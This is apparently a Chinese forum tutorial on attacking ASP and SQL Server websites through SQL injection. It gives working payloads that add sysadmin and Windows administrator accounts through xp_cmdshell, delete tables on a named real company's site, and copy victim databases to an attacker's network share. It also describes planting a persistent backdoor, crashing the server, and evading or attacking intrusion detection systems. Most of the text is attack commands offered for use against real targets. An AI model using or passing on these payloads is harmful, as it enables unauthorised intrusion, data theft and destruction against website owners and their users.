對于國內(nèi)外的很多新聞，BBS和電子商務網(wǎng)站都采用ASP+SQL設計，而寫 ASP的程序員很多（有很多剛剛畢業(yè)的），所以，ASP+SQL的攻擊成功率也比較高。這類攻擊方法與NT的版本和SQL的版本沒有多大的關(guān)系，也沒有相應的補丁，因為漏洞是程序員自己造成的，而且大多數(shù)講解ASP編程的書上，源代碼例子就有這個漏洞存在，其實只是一些合法的ASP對SQL的請求，就留下后患無窮！a這種攻擊方法最早源于'or'1'='1的漏洞（我們暫且稱其為漏洞），這個漏洞的原理我想大家因該都知道了，那么隨之而來的便是;exec sp_addlogin hax（在數(shù)據(jù)庫內(nèi)添加一個hax用戶），但是這個方法的限制很大，首先ASP使用的SQL Server賬號是個管理員，其次請求的提交變 量在整個SQL語句的最后，因為有一些程序員采用SELECT * FROM news WHERE  id=... AND topic=... AND .....這種方法請求數(shù)據(jù)庫，那么如果還用以上的例子就會news.asp?id=2;exec sp_addlogin hax變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic= ... AND ...整個SQL語句在執(zhí)行sp_addlogin的存儲過程后有AND與判斷存在，語法錯誤，你的sp_addlogin 自然也不能正常運行了，因此試試看下面這個方法

news.asp?id=2;exec sp_addlogin hax;--后面的--符號把sp_addlogin后的判斷語句變成了注釋，這樣就不會有語法錯誤了，sp_addlogin正常執(zhí)行！那么我們連一起來用吧

news.asp?id=2;exec master.dbo. sp_addlogin hax;--news.asp?id=2;exec master.dbo. sp_password null,hax,hax;--news.asp?id=2;exec master.dbo. sp_addsrvrolemember sysadmin hax;--news.asp?id=2;exec master.dbo. xp_cmdshell 'net user hax hax /workstations:*  /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup  administrators hax /add';--

這樣，你在他的數(shù)據(jù)庫和系統(tǒng)內(nèi)都留下了hax管理員賬號了當然，前提條件是ASP用管理員賬號，所以虛擬空間大家就別試了，不會存在這個漏洞的。以后我們會討論，如果對方的ASP不是用SQL管理員賬號，我們?nèi)绾稳肭郑斎灰矔婕暗?433端口的入侵當然大家可以試試看在id=2后面加上一個'符號，主要看對方的ASP怎么寫了 。再說說當ASP程序使用的SQL賬號不是管理員的時候我們該如何做。

你如天融信的主頁，有新聞內(nèi)容，如下：http://www.talentit.com.cn/news/news-2.asp?newid=117大家可以試試看http://www.talentit.com.cn/news/news-2.asp? newid=117;select 123;--呵呵，報語法錯誤，select 123錯誤，顯而易見，天融新的ASP在newid變量后面用'號結(jié)束那么試試看http://www.talentit.com.cn/news/news-2.asp? newid=117';delete news;--哈哈，我想只要表名猜對了，新聞庫就被刪了  

通常ASP用的SQL賬號就算不是管理員也會是某個數(shù)據(jù)庫的owner,至少對于這個庫有很高的管理權(quán)限但是我們不知道庫名該怎么？看看db_name()函數(shù)吧打開你的query analyzer，看看print db_name() ，呵呵，當前的數(shù)據(jù)庫名就出來了以次類推，如下：declare @a sysname;set @a=db_name();backup  database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--呵呵，他的當前數(shù)據(jù)庫就備份到你的硬盤上了，接下來要做的大家心里都明白了吧同理這個方法可以找到對方的SQL的IP先裝一個防火墻，打開ICMP和139TCP和445TCP的警告提示然后試試看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'如果防火墻提示有人ping你，那么因該可以肯定對方的ASP用的是SQL的管理員權(quán)限， 同時也確定了對方的SQL Server的準確位置，因為很多大一點的網(wǎng)站考慮性能，會吧web服務和數(shù)據(jù)庫分開，當對方大上了補丁看不到源代碼時，我想只有這個方法能很快的定位對方的SQL Server的位置了那么，如果對方ASP沒有SQL管理員權(quán)限，我們就不能調(diào)用xp_cmdshell了，該怎 么辦？別著急，試試看這個news.asp?id=2;declare @a;set @a=db_name();backup  database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--呵呵，你的防火墻該發(fā)出警告了，有人連接你的445或139(win9端口了，這樣，對方的SQL的ip一樣也可以暴露那么如果對方連某個數(shù)據(jù)庫的owner也不是的話，我們該怎么辦？下次我會告訴大家一個更好的辦法。其實backuo database到你的硬盤還是有點夸張了，如果對方數(shù)據(jù)庫很龐大，你又是撥號上網(wǎng)，呵呵，勸你別試了，很難成功傳輸?shù)南麓挝覀冞€會談到如何騙過IDS執(zhí)行ASP+SQL入侵目前有些好的IDS已經(jīng)開始監(jiān)視xp_cmdshell這些關(guān)鍵字了好吧，同志們下次見  

所有以上url希望大家通過vbscript提交，因為瀏覽器的地址欄會屏蔽一些特殊字符，這樣你的命令就不能完整傳輸了window.location.herf=URL

補充：這個問題以前載網(wǎng)上也提出來過，但是只是一些簡單的xp_cmdshell調(diào)用限制很大，其實這里面還有很多值得深入的地方比如 www.guosen.com.cn。國信證卷就有這個問題，而且他們采用ms的三層結(jié)構(gòu)作的用以前說的xp_cmdshell做法就不行了，字符串會被過濾，但是我嘗試了，用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的賬號！由于對方防火墻很嚴checkpoint數(shù)據(jù)報進出 都只開放80端口因此，要想獲得他的數(shù)據(jù)庫結(jié)構(gòu)比較困難了，但是還是有辦法可以做到的：P  順便提醒大家注意一下關(guān)于sqloledb,db_name,openrowset,opendatasource這些系統(tǒng) 函數(shù)當asp的sqlserver賬號只是一個普通用戶時，他們會很有用的！  sql server新漏洞和一些突破口下面我要談到一些sqlserver新的bug，雖然本人經(jīng)過長時間的努力，當然也有點幸運的成分在內(nèi),才得以發(fā)現(xiàn)，不敢一個人獨享，拿出來請大家鑒別,當然很有可能有些高手早已知道了，畢竟我接觸sqlserver的時間不到1年

1。關(guān)于openrowset和opendatasource  可能這個技巧早有人已經(jīng)會了，就是利用openrowset發(fā)送本地命令 通常我們的用法是（包括MSDN的列子）如下  select * from openrowset('sqloledb','myserver';'sa';'','select * from table')  可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程數(shù)據(jù)庫訪問，它必須跟在 select后面，也就是說需要返回一個recordset  那么我們能不能利用它調(diào)用xp_cmdshell呢？答案是肯定的！  select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec  master.dbo.xp_cmdshell ''dir c:\''')  必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置，這樣xp_cmdshell返回的output集合就會提交給前面的select顯示，如果采用

默認設置，會返回空集合導致select出錯，命令也就無法執(zhí)行了。那么如果我們要調(diào)用sp_addlogin呢，他不會像xp_cmdshell返回任何集合的，我們就不能再依靠fmtonly設置了，可以如下操作  select * from openrowset('sqloledb','server';'sa';'','select ''OK!''  exec master.dbo.sp_addlogin Hectic')  這樣，命令至少會返回select 'OK!'的集合，你的機器商會顯示OK!，同時對方的數(shù)據(jù)庫內(nèi) 也會增加一個Hectic的賬號，也就是說，我們利用select 'OK!'的返回集合欺騙了本地的select請求，是命令能夠正常執(zhí)行，通理 sp_addsrvrolemember和opendatasource也可以如此操作！至于這個方法真正的用處，大家慢慢想吧

2。關(guān)于msdasql兩次請求的問題  不知道大家有沒有試過用msdasql連接遠程數(shù)據(jù)庫，當然這個api必須是sqlserver的管理員才可以調(diào)用，那么如下  select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master; network=dbmssocn','select * from table1 select * from table2')  當table1和table2的字段數(shù)目不相同時，你會發(fā)現(xiàn)對方的sqlserver崩潰了，連本地連接都會失敗，而系統(tǒng)資源占用一切正常，用pskill殺死sqlserver進程后，如果不重啟機器，sqlserver要么無法正常啟動，要么時常出現(xiàn)非法操作，我也只是碰巧找到這個bug的，具體原因我還沒有 摸透，而且很奇怪的是這個現(xiàn)象只出現(xiàn)在 msdasql上，sqloledb就沒有這個問題，看來問題不是在于請求集合數(shù)目和返回集合數(shù)目不匹配上，因該還是msdasql本身的問題，具體原因，大家一起慢慢研究吧

3?？膳碌暮箝T  以前在網(wǎng)上看到有人說在sqlserver上留后門可以通過添加triger,jobs或改寫sp_addlogin和 sp_addsrvrolemember做到，這些方法當然可行，但是很容易會被發(fā)現(xiàn)。不知道大家有沒有想過sqloledb的本地連接映射。呵呵，比如你在對方的sqlserver上用sqlserver的管理員賬號執(zhí)行如下的命令  select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic',' set fmtonly off exec master..xp_cmdshell ''dir c:\''')  這樣在對方的sqlserver上建立了一個名為Hectic的本地連接映射，只要sqlserver不重啟，這個映射會一直存在下去，至少我現(xiàn)在還不知道如何發(fā)現(xiàn)別人放置的連接映射 ，好了，以上的命令運行過后，你會發(fā)現(xiàn)哪怕是sqlserver沒有任何權(quán)限的guest用戶，運行以上這條命令也一樣能通過！而且權(quán)限是localsystem?。J安裝）呵呵！這個方法可以用來在以被入侵過獲得管理員權(quán)限的 sqlserver上留下一個后門了。

以上的方法在sqlserver2000+sqlserver2000SP1上通過！

*另外還有一個猜測，不知道大家有沒有注意過windows默認附帶的兩個dsn，一個是localserver一個是msqi，這兩個在建立的時候是本地管理 員賬號連接sqlserver的，如果對方的sqlserver是通過自定義的power user啟動， 那么sa的權(quán)限就和power user一樣，很難有所大作為，但是我們通過如下的命令  select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes', 'set fmtonly off exec master..xp_cmdshell ''dirc:\''')應該可以利用localserver的管理員賬號連接本地sqlserver然后再以這個賬號的權(quán)限執(zhí)行本地命令了，這是后我想應該能突破sa那個power user權(quán)限了?，F(xiàn)在的問題是sqloledb無法調(diào)用dsn連接，而msdasql 非管理員不讓調(diào)用，所以我現(xiàn)在正在尋找guest調(diào)用msdasql的方法，如果有人知道這個bug如何突破，或有新的想法，我們可以一起討論一下，這個發(fā)放如果能成功被guest利用，將會是一個很嚴重的安全漏洞。

因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執(zhí)行

利用t-sql騙過ids或攻擊ids

現(xiàn)在的ids已經(jīng)變得越來越聰明了  有的ids加入了xp_cmdshell sp_addlogin 的監(jiān)視  但是畢竟人工智能沒有出現(xiàn)的今天，這種監(jiān)視總是有種騙人的感覺  先說說欺騙ids:  ids既然監(jiān)視xp_cmdshell關(guān)鍵字，那么我們可以這么做  declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\'  這個代碼象性大家都能看明白，還有xp_cmdshell作為一個store procedure 在master庫內(nèi)有一個id號，固定的，我們也可以這么做  假設這個id=988456  declare @a sysname select @a=name from sysobjects where id=988456  exec @a 'dir c:\'  當然也可以  declare @a sysname select @a=name from sysobjects where id=988455+1  exec @a 'dir c:\'  這種做法排列組合，ids根本不可能做的到完全監(jiān)視  同理，sp_addlogin也可以這么做再說說攻擊ids:  因為ids數(shù)據(jù)量很大，日至通常備份到常規(guī)數(shù)據(jù)庫，比如sql server如果用古老的recordset.addnew做法，會嚴重影響ids的性能，因為通過ado做t-sql請求， 不但效率高，而且有一部分工作可以交給sql server去做通常程序會這么寫  insert table values ('日至內(nèi)容',...)  那么我么想想看，如果用  temp') exec xp_cmdshell 'dir c:\' --  提交后會變成  insert table values ('日至內(nèi)容'....'temp') exec xp_cmdshell  'dir c:\' -- ')  這樣，xp_cmdshell就可以在ids的數(shù)據(jù)庫運行了 ：）  當然ids是一個嗅嘆器，他會抓所有的報，而瀏覽器提交的時候會把空格變成%20因此，%20會被提交到sql server，這樣你的命令就無法執(zhí)行了  唯一的辦法就是insert/**/table/**/values('日至內(nèi)容'....'temp')/**/exec/**/ xp_cmdshell/**/'dir c:\'/**/-- ')  用/**/代替空格做間隔符，這樣你的t-sql才能在ids的數(shù)據(jù)庫內(nèi)執(zhí)行淡然也可以用其他語句，可以破壞，備份ids的數(shù)據(jù)庫到你的共享目錄  呵呵  其實這種方法的原理和攻擊asp是一樣的，只是把空格變成了/**/  本來asp是select語句，那么用'就可以屏蔽  現(xiàn)在ids用insert語句，那么用')屏蔽

好了，其他很多新的入侵語句大家可以自己慢慢想，最好的測試工具就是query analyzer了。